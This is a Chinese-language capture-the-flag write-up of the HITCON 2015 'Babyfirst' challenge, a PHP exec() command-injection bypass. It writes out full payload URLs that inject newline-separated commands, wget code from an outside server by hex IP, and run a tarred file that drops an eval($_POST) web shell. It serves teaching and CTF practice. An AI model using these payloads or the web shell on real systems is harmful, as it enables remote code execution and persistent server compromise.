HITCON2015-Babyfirst

这是一道XMAN夏令营的练习题,查了下资料,发现也是HITCON2015的一道题。

题目给了以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);

$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);


$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}

exec('./ ' . implode(" ", $args));
?>

这里明显是要构造args为数组,正则限制了args的元素只能是字母和数字。
这里要用到正则表达式的一个小trick,表示结尾的$是可以匹配字符串结束时的换行符的,所以,在这题可以用一个url编码的换行符%0a来表示一句命令的结束。
注意到exec()的一开头有一个./,所以args的第一个参数可以随便输,然后带个换行符,然后就可以执行命令。
首先想到可以用wget来下载文件,要用10进制或者16进制的IP来绕过对符号的检测,这里有一个比较骚的地方,我还没搞懂:如果使用10进制IP,只能对使用nginx的服务器成功,对apache的服务器是会失败的。image但是,用十六进制IP,apache也可以成功。image接下来的问题是,通过这种方法,只能获得一个index.html,要如何才能执行php代码?这里要用到Linux的一个性质,把包含PHP代码的文件用tar打包,然后再用php去执行这个包,就可以执行包中的PHP代码:image这时候还需要解决一个问题,wget获取的是index.html,既然不能出现’.’,怎么对index.html进行打包?解决方法是,先创建一个文件夹,再在这个文件夹里面wget,然后在文件夹外对文件夹进行tar打包,最后用php执行包。image可以看到,test中的PHP同样也可以被执行。
解题过程
首先在自己服务器上放一个写好的index.html,内容如下:

1
2
3
4
5
6
<?php 
$f=fopen("shell.php","w");
fwrite($f,'
<?php phpinfo();
eval($_POST[1]);?>');
?>

然后,构造如下payload:

1
2
3
4
http://202.112.51.184:10081/?args[]=c%0a&args[]=mkdir&args[]=COMRADE%0a
http://202.112.51.184:10081/?args[]=c%0A&args[]=cd&args[]=COMRADE%0a&args[]=wget&args[]=0x7BCF6311%0a
http://202.112.51.184:10081/?args[]=c%0A&args[]=tar&args[]=cvf&args[]=gobaby&args[]=COMRADE%0a
http://202.112.51.184:10081/?args[]=c%0A&args[]=php&args[]=gobaby%0a

然后,可以访问shell.php看看是否生效了。image可以看到,PHP代码被成功执行,接下来直接菜刀连接或者手打命令都可以了。image
这道题目做起来很好玩,思路和技巧都非常值得学习。另外,所有IP我都没有打码,希望大家别搞我,这台服务器仅仅作为平时各种测试用。

Referer

https://blog.spoock.com/2017/09/09/Babyfirst-writeup/